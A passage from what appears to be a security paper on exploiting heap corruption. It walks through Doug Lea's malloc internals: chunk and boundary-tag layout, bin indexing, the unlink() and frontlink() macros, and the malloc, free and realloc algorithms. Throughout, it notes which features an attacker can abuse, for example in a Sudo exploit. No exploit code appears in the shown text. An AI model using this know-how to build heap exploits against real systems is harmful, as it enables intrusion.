ftp://maxx.via.ecp.fr/traceroot/
--------[ 3.1.2.2 - Binning ]-------------------------------------------
"Available chunks are maintained in bins, grouped by size." Depending on
its size, a free chunk is stored by dlmalloc in the bin corresponding to
the correct size range (bins are detailed in 3.4):
- if the size of the chunk is 200 bytes for example, it is stored in the
bin that holds the free chunks whose size is exactly 200 bytes;
- if the size of the chunk is 1504 bytes, it is stored in the bin that
holds the free chunks whose size is greater than or equal to 1472 bytes
but less than 1536;
- if the size of the chunk is 16392 bytes, it is stored in the bin that
holds the free chunks whose size is greater than or equal to 16384 bytes
but less than 20480;
- and so on (how these ranges are computed and how the correct bin is
chosen is detailed in 3.4.1).
"Searches for available chunks are processed in smallest-first,
best-fit order. [...] Until the versions released in 1995, chunks were
left unsorted within bins, so that the best-fit strategy was only
approximate. More recent versions instead sort chunks by size within
bins, with ties broken by an oldest-first rule."
These algorithms are implemented via the chunk_alloc() function (called
by malloc(3) for example) and the frontlink() macro, detailed in 3.5.1
and 3.4.2.
--------[ 3.1.2.3 - Locality preservation ]-----------------------------
"In the current version of malloc, a version of next-fit is used only
in a restricted context that maintains locality in those cases where it
conflicts the least with other goals: If a chunk of the exact desired
size is not available, the most recently split-off space is used (and
resplit) if it is big enough; otherwise best-fit is used."
This characteristic, implemented within the chunk_alloc() function,
proved to be essential to the Sudo exploit. Thanks to this feature,
the exploit could channel a whole series of malloc(3) calls within a
particular free memory area, and could therefore protect another free
memory area that had to remain untouched (and would otherwise have been
allocated during the best-fit step of the malloc algorithm).
--------[ 3.1.2.4 - Wilderness preservation ]---------------------------
"The wilderness (so named by Kiem-Phong Vo) chunk represents the space
bordering the topmost address allocated from the system. Because it is
at the border, it is the only chunk that can be arbitrarily extended
(via sbrk in Unix) to be bigger than it is (unless of course sbrk fails
because all memory has been exhausted).
One way to deal with the wilderness chunk is to handle it about the same
way as any other chunk. [...] A better strategy is currently used: treat
the wilderness chunk as bigger than all others, since it can be made so
(up to system limitations) and use it as such in a best-first scan. This
results in the wilderness chunk always being used only if no other chunk
exists, further avoiding preventable fragmentation."
The wilderness chunk is one of the most dangerous opponents of the
attacker who tries to exploit heap mismanagement. Because this chunk
of memory is handled specially by the dlmalloc internal routines (as
detailed in 3.5), the attacker will rarely be able to execute arbitrary
code if they solely corrupt the boundary tag associated with the
wilderness chunk.
--------[ 3.1.2.5 - Memory mapping ]------------------------------------
"In addition to extending general-purpose allocation regions via sbrk,
most versions of Unix support system calls such as mmap that allocate
a separate non-contiguous region of memory for use by a program. This
provides a second option within malloc for satisfying a memory request.
[...] the current version of malloc relies on mmap only if (1) the
request is greater than a (dynamically adjustable) threshold size
(currently by default 1MB) and (2) the space requested is not already
available in the existing arena so would have to be obtained via sbrk."
For these two reasons, and because the environment variables that alter
the behavior of the memory mapping mechanism (MALLOC_MMAP_THRESHOLD_
and MALLOC_MMAP_MAX_) are not loaded when a SUID or SGID program is
run, a perfect knowledge of how the memory mapping feature works is
not mandatory when abusing malloc calls. However, it will be discussed
briefly in 3.3.4 and 3.5.
----[ 3.2 - Chunks of memory ]------------------------------------------
The heap is divided by Doug Lea's Malloc into contiguous chunks of
memory. The heap layout evolves when malloc functions are called (chunks
may get allocated, freed, split, coalesced) but all procedures maintain
the invariant that no free chunk physically borders another one (two
bordering unused chunks are always coalesced into one larger chunk).
------[ 3.2.1 - Synopsis of public routines ]---------------------------
The chunks of memory managed by dlmalloc are allocated and freed via
four main public routines:
- "malloc(size_t n); Return a pointer to a newly allocated chunk of at
least n bytes, or null if no space is available."
The malloc(3) routine relies on the internal chunk_alloc() function
mentioned in 3.1.2 and detailed in 3.5.1.
- "free(Void_t* p); Release the chunk of memory pointed to by p, or no
effect if p is null."
The free(3) routine depends on the internal function chunk_free()
presented in 3.5.2.
- "realloc(Void_t* p, size_t n); Return a pointer to a chunk of size n
that contains the same data as does chunk p up to the minimum of (n, p's
size) bytes, or null if no space is available. The returned pointer may
or may not be the same as p. If p is null, equivalent to malloc. Unless
the #define REALLOC_ZERO_BYTES_FREES below is set, realloc with a size
argument of zero (re)allocates a minimum-sized chunk."
realloc(3) calls the internal function chunk_realloc() (detailed in
3.5.3) that once again relies on chunk_alloc() and chunk_free(). As a
side note, the GNU C Library defines REALLOC_ZERO_BYTES_FREES, so that
realloc with a size argument of zero frees the allocated chunk p.
- "calloc(size_t unit, size_t quantity); Returns a pointer to quantity *
unit bytes, with all locations set to zero."
calloc(3) behaves like malloc(3) (it calls chunk_alloc() in the very
same manner) except that calloc(3) zeroes out the allocated chunk before
it is returned to the user. calloc(3) is therefore not discussed in the
present paper.
------[ 3.2.2 - Vital statistics ]--------------------------------------
When a user calls dlmalloc in order to allocate dynamic memory, the
effective size of the chunk allocated (the number of bytes actually
isolated in the heap) is never equal to the size requested by the user.
This overhead is the result of the presence of boundary tags before and
after the buffer returned to the user, and the result of the 8 byte
alignment mentioned in 3.1.1.
- Alignment:
Since the size of a chunk is always a multiple of 8 bytes (how the
effective size of a chunk is computed is detailed in 3.3.2) and since
the very first chunk in the heap is 8 byte aligned, the chunks of memory
returned to the user (and the associated boundary tags) are always
aligned on addresses that are multiples of 8 bytes.
- Minimum overhead per allocated chunk:
Each allocated chunk has a hidden overhead of (at least) 4 bytes.
The integer composed of these 4 bytes, a field of the boundary tag
associated with each chunk, holds size and status information, and is
detailed in 3.3.4.
- Minimum allocated size:
When malloc(3) is called with a size argument of zero, Doug Lea's Malloc
actually allocates 16 bytes in the heap (the minimum allocated size, the
size of a boundary tag).
------[ 3.2.3 - Available chunks ]--------------------------------------
Available chunks are kept in any of several places (all declared below):
- the bins (mentioned in 3.1.2.2 and detailed in 3.4) exclusively hold
free chunks of memory;
- the top-most available chunk (the wilderness chunk presented in
3.1.2.4) is always free and never included in any bin;
- the remainder of the most recently split (non-top) chunk is always
free and never included in any bin.
----[ 3.3 - Boundary tags ]---------------------------------------------
------[ 3.3.1 - Structure ]---------------------------------------------
#define INTERNAL_SIZE_T size_t
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
};
This structure, stored in front of each chunk of memory managed by Doug
Lea's Malloc, is a representation of the boundary tags presented in
3.1.2.1. The way its fields are used depends on whether the associated
chunk is free or not, and whether the previous chunk is free or not.
- An allocated chunk looks like this:
chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: size of the previous chunk, in bytes (used |
| by dlmalloc only if this previous chunk is free) |
+---------------------------------------------------------+
| size: size of the chunk (the number of bytes between |
| "chunk" and "nextchunk") and 2 bits status information |
mem -> +---------------------------------------------------------+
| fd: not used by dlmalloc because "chunk" is allocated |
| (user data therefore starts here) |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| bk: not used by dlmalloc because "chunk" is allocated |
| (there may be user data here) |
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| .
. .
. user data (may be 0 bytes long) .
. .
. |
nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
| prev_size: not used by dlmalloc because "chunk" is |
| allocated (may hold user data, to decrease wastage) |
+---------------------------------------------------------+
"chunk" is the front of the chunk (and therefore the front of the
associated boundary tag) for the purpose of most of the dlmalloc code,
"nextchunk" is the beginning of the next contiguous chunk, and "mem" is
the pointer that is returned to the user (by malloc(3) or realloc(3) for
example).
The conversion from malloc headers ("chunk") to user pointers ("mem"),
and back, is performed by two macros, chunk2mem() and mem2chunk(). They
simply add or subtract 8 bytes (the size of the prev_size and size
fields that separate "mem" from "chunk"):
#define Void_t void
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)
typedef struct malloc_chunk * mchunkptr;
#define chunk2mem( p ) \
( (Void_t *)((char *)(p) + 2*SIZE_SZ) )
#define mem2chunk( mem ) \
( (mchunkptr)((char *)(mem) - 2*SIZE_SZ) )
Although a user should never utilize more bytes than they requested, the
number of bytes reserved for the user by Doug Lea's Malloc may actually
be greater than the amount of requested dynamic memory (because of the
8 byte alignment). As a matter of fact, the memory area where the user
could store data without corrupting the heap starts at "mem" and ends
at (but includes) the prev_size field of "nextchunk" (indeed, this
prev_size field is not used by dlmalloc (since "chunk" is allocated)
and may thence hold user data, in order to decrease wastage), and is
therefore (("nextchunk" + 4) - "mem") bytes long (the 4 additional bytes
correspond to the size of this trailing prev_size field).
But the size of this memory area, (("nextchunk" + 4) - "mem"), is also
equal to (("nextchunk" + 4) - ("chunk" + 8)), which is of course equal
to (("nextchunk" - "chunk") - 4). Since ("nextchunk" - "chunk") is the
effective size of "chunk", the size of the memory area where the user
could store data without corrupting the heap is equal to the effective
size of the chunk minus 4 bytes.
- Free chunks are stored in circular doubly-linked lists (described in
3.4.2) and look like this:
chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: may hold user data (indeed, since "chunk" is |
| free, the previous chunk is necessarily allocated) |
+---------------------------------------------------------+
| size: size of the chunk (the number of bytes between |
| "chunk" and "nextchunk") and 2 bits status information |
+---------------------------------------------------------+
| fd: forward pointer to the next chunk in the circular |
| doubly-linked list (not to the next _physical_ chunk) |
+---------------------------------------------------------+
| bk: back pointer to the previous chunk in the circular |
| doubly-linked list (not the previous _physical_ chunk) |
+---------------------------------------------------------+
| .
. .
. unused space (may be 0 bytes long) .
. .
. |
nextchunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| prev_size: size of "chunk", in bytes (used by dlmalloc |
| because this previous chunk is free) |
+---------------------------------------------------------+
------[ 3.3.2 - Size of a chunk ]---------------------------------------
When a user requests req bytes of dynamic memory (via malloc(3) or
realloc(3) for example), dlmalloc first calls request2size() in order
to convert req to a usable size nb (the effective size of the allocated
chunk of memory, including overhead). The request2size() macro could
just add 8 bytes (the size of the prev_size and size fields stored in
front of the allocated chunk) to req and therefore look like this:
#define request2size( req, nb ) \
( nb = (req) + SIZE_SZ + SIZE_SZ )
But this first version of request2size() is not optimal because it does
not take into account the fact that the prev_size field of the next
contiguous chunk can hold user data. The request2size() macro should
therefore subtract 4 bytes (the size of this trailing prev_size field)
from the previous result:
#define request2size( req, nb ) \
( nb = ((req) + SIZE_SZ + SIZE_SZ) - SIZE_SZ )
This macro is of course equivalent to:
#define request2size( req, nb ) \
( nb = (req) + SIZE_SZ )
Unfortunately this request2size() macro is not correct, because as
mentioned in 3.2.2, the size of a chunk should always be a multiple of
8 bytes. request2size() should therefore return the first multiple of 8
bytes greater than or equal to ((req) + SIZE_SZ):
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define request2size( req, nb ) \
( nb = (((req) + SIZE_SZ) + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK )
The request2size() function implemented in the Sudo exploit is alike but
returns MINSIZE if the theoretic effective size of the chunk is less
than MINSIZE bytes (the minimum allocatable size):
#define MINSIZE sizeof(struct malloc_chunk)
size_t request2size( size_t req )
{
size_t nb;
nb = req + ( SIZE_SZ + MALLOC_ALIGN_MASK );
if ( nb < (MINSIZE + MALLOC_ALIGN_MASK) ) {
nb = MINSIZE;
} else {
nb &= ~MALLOC_ALIGN_MASK;
}
return( nb );
}
Finally, the request2size() macro implemented in Doug Lea's Malloc works
likewise but adds an integer overflow detection:
#define request2size(req, nb) \
((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\
((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \
? (__set_errno (ENOMEM), 1) \
: ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \
? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0)))
------[ 3.3.3 - prev_size field ]---------------------------------------
If the chunk of memory located immediately before a chunk p is allocated
(how dlmalloc determines whether this previous chunk is allocated or not
is detailed in 3.3.4), the 4 bytes corresponding to the prev_size field
of the chunk p are not used by dlmalloc and may therefore hold user data
(in order to decrease wastage).
But if the chunk of memory located immediately before the chunk p is
free, the prev_size field of the chunk p is used by dlmalloc and holds
the size of that previous free chunk. Given a pointer to the chunk p,
the address of the previous chunk can therefore be computed, thanks to
the prev_chunk() macro:
#define prev_chunk( p ) \
( (mchunkptr)(((char *)(p)) - ((p)->prev_size)) )
------[ 3.3.4 - size field ]--------------------------------------------
The size field of a boundary tag holds the effective size (in bytes) of
the associated chunk of memory and additional status information. This
status information is stored within the 2 least significant bits, which
would otherwise be unused (because as detailed in 3.3.2, the size of a
chunk is always a multiple of 8 bytes, and the 3 least significant bits
of a size field would therefore always be equal to 0).
The low-order bit of the size field holds the PREV_INUSE bit and the
second-lowest-order bit holds the IS_MMAPPED bit:
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
In order to extract the effective size of a chunk p from its size field,
dlmalloc therefore needs to mask these two status bits, and uses the
chunksize() macro for this purpose:
#define SIZE_BITS ( PREV_INUSE | IS_MMAPPED )
#define chunksize( p ) \
( (p)->size & ~(SIZE_BITS) )
- If the IS_MMAPPED bit is set, the associated chunk was allocated via
the memory mapping mechanism described in 3.1.2.5. In order to determine
whether a chunk of memory p was allocated via this mechanism or not,
Doug Lea's Malloc calls chunk_is_mmapped():
#define chunk_is_mmapped( p ) \
( (p)->size & IS_MMAPPED )
- If the PREV_INUSE bit of a chunk p is set, the physical chunk of
memory located immediately before p is allocated, and the prev_size
field of the chunk p may therefore hold user data. But if the PREV_INUSE
bit is clear, the physical chunk of memory before p is free, and the
prev_size field of the chunk p is therefore used by dlmalloc and
contains the size of that previous physical chunk.
Doug Lea's Malloc uses the macro prev_inuse() in order to determine
whether the physical chunk located immediately before a chunk of memory
p is allocated or not:
#define prev_inuse( p ) \
( (p)->size & PREV_INUSE )
But in order to determine whether the chunk p itself is in use or not,
dlmalloc has to extract the PREV_INUSE bit of the next contiguous chunk
of memory:
#define inuse( p ) \
(((mchunkptr)((char*)(p)+((p)->size&~PREV_INUSE)))->size&PREV_INUSE)
----[ 3.4 - Bins ]------------------------------------------------------
"Available chunks are maintained in bins, grouped by size", as mentioned
in 3.1.2.2 and 3.2.3. The two exceptions are the remainder of the most
recently split (non-top) chunk of memory and the top-most available
chunk (the wilderness chunk) which are treated specially and never
included in any bin.
------[ 3.4.1 - Indexing into bins ]------------------------------------
There are a lot of these bins (128), and depending on its size (its
effective size, not the size requested by the user) a free chunk of
memory is stored by dlmalloc in the bin corresponding to the right
size range. In order to find out the index of this bin (the 128 bins
are indeed stored in an array of bins), dlmalloc calls the macros
smallbin_index() and bin_index().
#define smallbin_index( sz ) \
( ((unsigned long)(sz)) >> 3 )
Doug Lea's Malloc considers the chunks whose size is less than 512 bytes
to be small chunks, and stores these chunks in one of the 62 so-called
small bins. Each small bin holds identically sized chunks, and because
the minimum allocated size is 16 bytes and the size of a chunk is always
a multiple of 8 bytes, the first small bin holds the 16 bytes chunks,
the second one the 24 bytes chunks, the third one the 32 bytes chunks,
and so on, and the last one holds the 504 bytes chunks. The index of the
bin corresponding to the size sz of a small chunk is therefore (sz / 8),
as implemented in the smallbin_index() macro.
#define bin_index(sz) \
((((unsigned long)(sz) >> 9) == 0) ? ((unsigned long)(sz) >> 3):\
(((unsigned long)(sz) >> 9) <= 4) ? 56 + ((unsigned long)(sz) >> 6):\
(((unsigned long)(sz) >> 9) <= 20) ? 91 + ((unsigned long)(sz) >> 9):\
(((unsigned long)(sz) >> 9) <= 84) ? 110 + ((unsigned long)(sz) >> 12):\
(((unsigned long)(sz) >> 9) <= 340) ? 119 + ((unsigned long)(sz) >> 15):\
(((unsigned long)(sz) >> 9) <= 1364) ? 124 + ((unsigned long)(sz) >> 18):\
126)
The index of the bin corresponding to a chunk of memory whose size is
greater than or equal to 512 bytes is obtained via the bin_index()
macro. Thanks to bin_index(), the size range corresponding to each bin
can be determined:
- A free chunk whose size is equal to 1504 bytes for example is stored
in the bin number 79 (56 + (1504 >> 6)) since (1504 >> 9) is equal to 2
and therefore greater than 0 but less than or equal to 4. Moreover, the
bin number 79 holds the chunks whose size is greater than or equal to
1472 ((1504 >> 6) * 2^6) bytes but less than 1536 (1472 + 2^6).
- A free chunk whose size is equal to 16392 bytes is stored in the bin
number 114 (110 + (16392 >> 12)) since (16392 >> 9) is equal to 32 and
therefore greater than 20 but less than or equal to 84. Moreover, the
bin number 114 holds the chunks whose size is greater than or equal to
16384 ((16392 >> 12) * 2^12) bytes but less than 20480 (16384 + 2^12).
- And so on.
------[ 3.4.2 - Linkin Park^H^H^H^H^Hg chunks in bin lists ]------------
The free chunks of memory are stored in circular doubly-linked lists.
There is one circular doubly-linked list per bin, and these lists are
initially empty because at the start the whole heap is composed of one
single chunk (never included in any bin), the wilderness chunk. A bin
is nothing more than a pair of pointers (a forward pointer and a back
pointer) serving as the head of the associated doubly-linked list.
"The chunks in each bin are maintained in decreasing sorted order by
size. This is irrelevant for the small bins, which all contain the
same-sized chunks, but facilitates best-fit allocation for larger
chunks."
The forward pointer of a bin therefore points to the first (the largest)
chunk of memory in the list (or to the bin itself if the list is empty),
the forward pointer of this first chunk points to the second chunk in
the list, and so on until the forward pointer of a chunk (the last chunk
in the list) points to the bin again. The back pointer of a bin instead
points to the last (the smallest) chunk of memory in the list (or to the
bin itself if the list is empty), the back pointer of this chunk points
to the previous chunk in the list, and so on until the back pointer of a
chunk (the first chunk in the list) points to the bin again.
- In order to take a free chunk p off its doubly-linked list, dlmalloc
has to replace the back pointer of the chunk following p in the list
with a pointer to the chunk preceding p in the list, and the forward
pointer of the chunk preceding p in the list with a pointer to the chunk
following p in the list. Doug Lea's Malloc calls the unlink() macro for
this purpose:
#define unlink( P, BK, FD ) { \
BK = P->bk; \
FD = P->fd; \
FD->bk = BK; \
BK->fd = FD; \
}
- In order to place a free chunk P of size S in its bin (in the
associated doubly-linked list actually), in size order, dlmalloc calls
frontlink(). "Chunks of the same size are linked with the most recently
freed at the front, and allocations are taken from the back. This
results in LRU or FIFO allocation order", as mentioned in 3.1.2.2.
The frontlink() macro calls smallbin_index() or bin_index() (presented
in 3.4.1) in order to find out the index IDX of the bin corresponding
to the size S, calls mark_binblock() in order to indicate that this bin
is not empty anymore, calls bin_at() in order to determine the physical
address of the bin, and finally stores the free chunk P at the right
place in the doubly-linked list of the bin:
#define frontlink( A, P, S, IDX, BK, FD ) { \
if ( S < MAX_SMALLBIN_SIZE ) { \
IDX = smallbin_index( S ); \
mark_binblock( A, IDX ); \
BK = bin_at( A, IDX ); \
FD = BK->fd; \
P->bk = BK; \
P->fd = FD; \
FD->bk = BK->fd = P; \
} else { \
IDX = bin_index( S ); \
BK = bin_at( A, IDX ); \
FD = BK->fd; \
if ( FD == BK ) { \
mark_binblock(A, IDX); \
} else { \
while ( FD != BK && S < chunksize(FD) ) { \
FD = FD->fd; \
} \
BK = FD->bk; \
} \
P->bk = BK; \
P->fd = FD; \
FD->bk = BK->fd = P; \
} \
}
----[ 3.5 - Main public routines ]--------------------------------------
The final purpose of an attacker who managed to smash the heap of a
process is to execute arbitrary code. Doug Lea's Malloc can be tricked
into achieving this goal after a successful heap corruption, either
thanks to the unlink() macro, or thanks to the frontlink() macro, both
presented above and detailed in 3.6. The following description of the
malloc(3), free(3) and realloc(3) algorithms therefore focuses on these
two internal macros.
------[ 3.5.1 - The malloc(3) algorithm ]-------------------------------
The malloc(3) function, named __libc_malloc() in the GNU C Library
(malloc() is just a weak symbol) and mALLOc() in the malloc.c file,
executes in the first place the code pointed to by __malloc_hook if
this debugging hook is not equal to NULL (but it normally is). Next
malloc(3) converts the amount of dynamic memory requested by the user
into a usable form (via request2size() presented in 3.3.2), and calls
the internal function chunk_alloc() that takes the first successful of
the following steps:
[1] - "The bin corresponding to the request size is scanned, and if a
chunk of exactly the right size is found, it is taken."
Doug Lea's Malloc considers a chunk to be "of exactly the right size" if
the difference between its size and the request size is greater than or
equal to 0 but less than MINSIZE bytes. If this difference was less than
0 the chunk would not be big enough, and if the difference was greater
than or equal to MINSIZE bytes (the minimum allocated size) dlmalloc
could form a new chunk with this overhead and should therefore perform a
split operation (not supported by this first step).
[1.1] -- The case of a small request size (a request size is small if
both the corresponding bin and the next bin are small (small bins are
described in 3.4.1)) is treated separately:
[1.1.1] --- If the doubly-linked list of the corresponding bin is not
empty, chunk_alloc() selects the last chunk in this list (no traversal
of the list and no size check are necessary for small bins since they
hold identically sized chunks).
[1.1.2] --- But if this list is empty, and if the doubly-linked list of
the next bin is not empty, chunk_alloc() selects the last chunk in this
list (the difference between the size of this chunk and the request size
is indeed less than MINSIZE bytes (it is equal to 8 bytes, as detailed
in 3.4.1)).
[1.1.3] --- Finally, if a free chunk of exactly the right size was found
and selected, chunk_alloc() calls unlink() in order to take this chunk
off its doubly-linked list, and returns it to mALLOc(). If no such chunk
was found, the step[2] is carried out.
[1.2] -- If the request size is not small, the doubly-linked list of the
corresponding bin is scanned. chunk_alloc() starts from the last (the
smallest) free chunk in the list and follows the back pointer of each
traversed chunk:
[1.2.1] --- If during the scan a too big chunk is encountered (a chunk
whose size is MINSIZE bytes or more greater than the request size), the
scan is aborted since the next traversed chunks would be too big also
(the chunks are indeed sorted by size within a doubly-linked list) and
the step[2] is carried out.
[1.2.2] --- But if a chunk of exactly the right size is found, unlink()
is called in order to take it off its doubly-linked list, and the chunk
is then returned to mALLOc(). If no big enough chunk was found at all
during the scan, the step[2] is carried out.
[2] - "The most recently remaindered chunk is used if it is big enough."
But this particular free chunk of memory does not always exist: dlmalloc
gives this special meaning (the `last_remainder' label) to a free chunk
with the macro link_last_remainder(), and removes this special meaning
with the macro clear_last_remainder(). So if one of the available free
chunks is marked with the label `last_remainder':
[2.1] -- It is divided into two parts if it is too big (if the
difference between its size and the request size is greater than or
equal to MINSIZE bytes). The first part (whose size is equal to the
request size) is returned to mALLOc() and the second part becomes the
new `last_remainder' (via link_last_remainder()).
[2.2] -- But if the difference between the size of the `last_remainder'
chunk and the request size is less than MINSIZE bytes, chunk_alloc()
calls clear_last_remainder() and next:
[2.2.1] --- Returns that most recently remaindered chunk (that just lost
its label `last_remainder' because of the clear_last_remainder() call)
to mALLOc() if it is big enough (if the difference between its size and
the request size is greater than or equal to 0).
[2.2.2] --- Or places this chunk in its doubly-linked list (thanks to
the frontlink() macro) if it is too small (if the difference between its
size and the request size is less than 0), and carries out the step[3].
[3] - "Other bins are scanned in increasing size order, using a chunk
big enough to fulfill the request, and splitting off any remainder."
The scanned bins (the scan of a bin consists in traversing the
associated doubly-linked list, starting from the last (the smallest)
free chunk in the list, and following the back pointer of each traversed
chunk) all correspond to sizes greater than or equal to the request size
and are processed one by one (starting from the bin where the search at
step[1] stopped) until a big enough chunk is found:
[3.1] -- This big enough chunk is divided into two parts if it is too
big (if the difference between its size and the request size is greater
than or equal to MINSIZE bytes). The first part (whose size is equal to
the request size) is taken off its doubly-linked list via unlink() and
returned to mALLOc(). The second part becomes the new `last_remainder'
via link_last_remainder().
[3.2] -- But if a chunk of exactly the right size was found, unlink() is
called in order to take it off its doubly-linked list, and the chunk is
then returned to mALLOc(). If no big enough chunk was found at all, the
step[4] is carried out.
[4] - "If large enough, the chunk bordering the end of memory (`top') is
split off."
The chunk bordering the end of the heap (the wilderness chunk presented
in 3.1.2.4) is large enough if the difference between its size and the
request size is greater than or equal to MINSIZE bytes (the step[5]
is otherwise carried out). The wilderness chunk is then divided into
two parts: the first part (whose size is equal to the request size) is
returned to mALLOc(), and the second part becomes the new wilderness
chunk.
[5] - "If the request size meets the mmap threshold and the system
supports mmap, and there are few enough currently allocated mmapped
regions, and a call to mmap succeeds, the request is allocated via
direct memory mapping."
Doug Lea's Malloc calls the internal function mmap_chunk() if the
above conditions are fulfilled (the step[6] is otherwise carried out),
but since the default value of the mmap threshold is rather large
(128k), and since the MALLOC_MMAP_THRESHOLD_ environment variable
cannot override this default value when a SUID or SGID program is run,
mmap_chunk() is not detailed in the present paper.
[6] - "Otherwise, the top of memory is extended by obtaining more space
from the system (normally using sbrk, but definable to anything else via
the MORECORE macro)."
After a successful extension, the wilderness chunk is split off as it
would have been at step[4], but if the extension fails, a NULL pointer
is returned to mALLOc().
------[ 3.5.2 - The free(3) algorithm ]---------------------------------
The free(3) function, named __libc_free() in the GNU C Library (free()
is just a weak symbol) and fREe() in the malloc.c file, executes in the
first place the code pointed to by __free_hook if this debugging hook is
not equal to NULL (but it normally is), and next distinguishes between
the following cases:
[1] - "free(0) has no effect."
But if the pointer argument passed to free(3) is not equal to NULL (and
it is usually not), the step[2] is carried out.
[2] - "If the chunk was allocated via mmap, it is released via
munmap()."
The fREe() function determines (thanks to the macro chunk_is_mmapped()
presented in 3.3.4) whether the chunk to be freed was allocated via the
memory mapping mechanism (described in 3.1.2.5) or not, and calls the
internal function munmap_chunk() (not detailed in the present paper) if
it was, but calls chunk_free() (step[3] and step[4]) if it was not.
[3] - "If a returned chunk borders the current high end of memory, it is
consolidated into the top".
If the chunk to be freed is located immediately before the top-most
available chunk (the wilderness chunk), a new wilderness chunk is
assembled (but the step[4] is otherwise carried out):
[3.1] -- If the chunk located immediately before the chunk being
freed is unused, it is taken off its doubly-linked list via unlink()
and becomes the beginning of the new wilderness chunk (composed of
the former wilderness chunk, the chunk being freed, and the chunk
located immediately before). As a side note, unlink() is equivalent to
clear_last_remainder() if the processed chunk is the `last_remainder'.
[3.2] -- But if that previous chunk is allocated, the chunk being freed
becomes the beginning of the new wilderness chunk (composed of the
former wilderness chunk and the chunk being freed).
[4] - "Other chunks are consolidated as they arrive, and placed in
corresponding bins. (This includes the case of consolidating with the
current `last_remainder')."
[4.1] -- If the chunk located immediately before the chunk to be freed
is unused, it is taken off its doubly-linked list via unlink() (if it is
not the `last_remainder') and consolidated with the chunk being freed.
[4.2] -- If the chunk located immediately after the chunk to be freed is
unused, it is taken off its doubly-linked list via unlink() (if it is
not the `last_remainder') and consolidated with the chunk being freed.
[4.3] -- The resulting coalesced chunk is placed in its doubly-linked
list (via the frontlink() macro), or becomes the new `last_remainder'
if the old `last_remainder' was consolidated with the chunk being freed
(but the link_last_remainder() macro is called only if the beginning
of the new `last_remainder' is different from the beginning of the old
`last_remainder').
------[ 3.5.3 - The realloc(3) algorithm ]------------------------------
The realloc(3) function, named __libc_realloc() in the GNU C Library
(realloc() is just a weak symbol) and rEALLOc() in the malloc.c file,
executes in the first place the code pointed to by __realloc_hook if
this debugging hook is not equal to NULL (but it normally is), and next
distinguishes between the following cases:
[1] - "Unless the #define REALLOC_ZERO_BYTES_FREES is set, realloc with
a size argument of zero (re)allocates a minimum-sized chunk."
But if REALLOC_ZERO_BYTES_FREES is set, and if realloc(3) was called
with a size argument of zero, the fREe() function (described in 3.5.2)
is called in order to free the chunk of memory passed to realloc(3). The
step[2] is otherwise carried out.
[2] - "realloc of null is supposed to be same as malloc".
If realloc(3) was called with a pointer argument of NULL, the mALLOc()
function (detailed in 3.5.1) is called in order to allocate a new chunk
of memory. The step[3] is otherwise carried out, but the amount of
dynamic memory requested by the user is first converted into a usable
form (via request2size() presented in 3.3.2).
[3] - "Chunks that were obtained via mmap [...]."
rEALLOc() calls the macro chunk_is_mmapped() (presented in 3.3.4) in
order to determine whether the chunk to be reallocated was obtained via
the memory mapping mechanism (described in 3.1.2.5) or not. If it was,
specific code (not detailed in the present paper) is executed, but if
it was not, the chunk to be reallocated is processed by the internal
function chunk_realloc() (step[4] and next ones).
[4] - "If the reallocation is for less space [...]."
[4.1] -- The processed chunk is divided into two parts if its size is
MINSIZE bytes or more greater than the request size: the first part
(whose size is equal to the request size) is returned to rEALLOc(), and
the second part is freed via a call to chunk_free() (detailed in 3.5.2).
[4.2] -- But the processed chunk is simply returned to rEALLOc() if the
difference between its size and the request size is less than MINSIZE
bytes (this difference is of course greater than or equal to 0 since
the size of the processed chunk is greater than or equal to the request
size).
[5] - "Otherwise, if the reallocation is for additional space, and the
chunk can be extended, it is, else a malloc-copy-free sequence is taken.
There are several different ways that a chunk could be extended. All are
tried:"
[5.1] -- "Extending forward into following adjacent free chunk."
If the chunk of memory located immediately after the chunk to be
reallocated is free, the two following steps are tried before the
step[5.2] is carried out:
[5.1.1] --- If this free chunk is the top-most available chunk (the
wilderness chunk) and if its size plus the size of the chunk being
reallocated is MINSIZE bytes or more greater than the request size,
the wilderness chunk is divided into two parts. The first part is
consolidated with the chunk being reallocated and the resulting
coalesced chunk is returned to rEALLOc() (the size of this coalesced
chunk is of course equal to the request size), and the second part
becomes the new wilderness chunk.
[5.1.2] --- But if that free chunk is a normal free chunk, and if its
size plus the size of the chunk being reallocated is greater than or
equal to the request size, it is taken off its doubly-linked list via
unlink() (equivalent to clear_last_remainder() if the processed chunk is
the `last_remainder') and consolidated with the chunk being freed, and
the resulting coalesced chunk is then treated as it would have been at
step[4].
[5.2] -- "Both shifting backwards and extending forward."
If the chunk located immediately before the chunk to be reallocated is
free, and if the chunk located immediately after is free as well, the
two following steps are tried before the step[5.3] is carried out:
[5.2.1] --- If the chunk located immediately after the chunk to be
reallocated is the top-most available chunk (the wilderness chunk)
and if its size plus the size of the chunk being reallocated plus the
size of the previous chunk is MINSIZE bytes or more greater than the
request size, the said three chunks are coalesced. The previous chunk
is first taken off its doubly-linked list via unlink() (equivalent to
clear_last_remainder() if the processed chunk is the `last_remainder'),
the content of the chunk being reallocated is then copied to the newly
coalesced chunk, and this coalesced chunk is finally divided into two
parts: the first part is returned to rEALLOc() (the size of this chunk
is of course equal to the request size), and the second part becomes the
new wilderness chunk.
[5.2.2] --- If the chunk located immediately after the chunk to be
reallocated is a normal free chunk, and if its size plus the size of
the chunk being reallocated plus the size of the previous chunk is
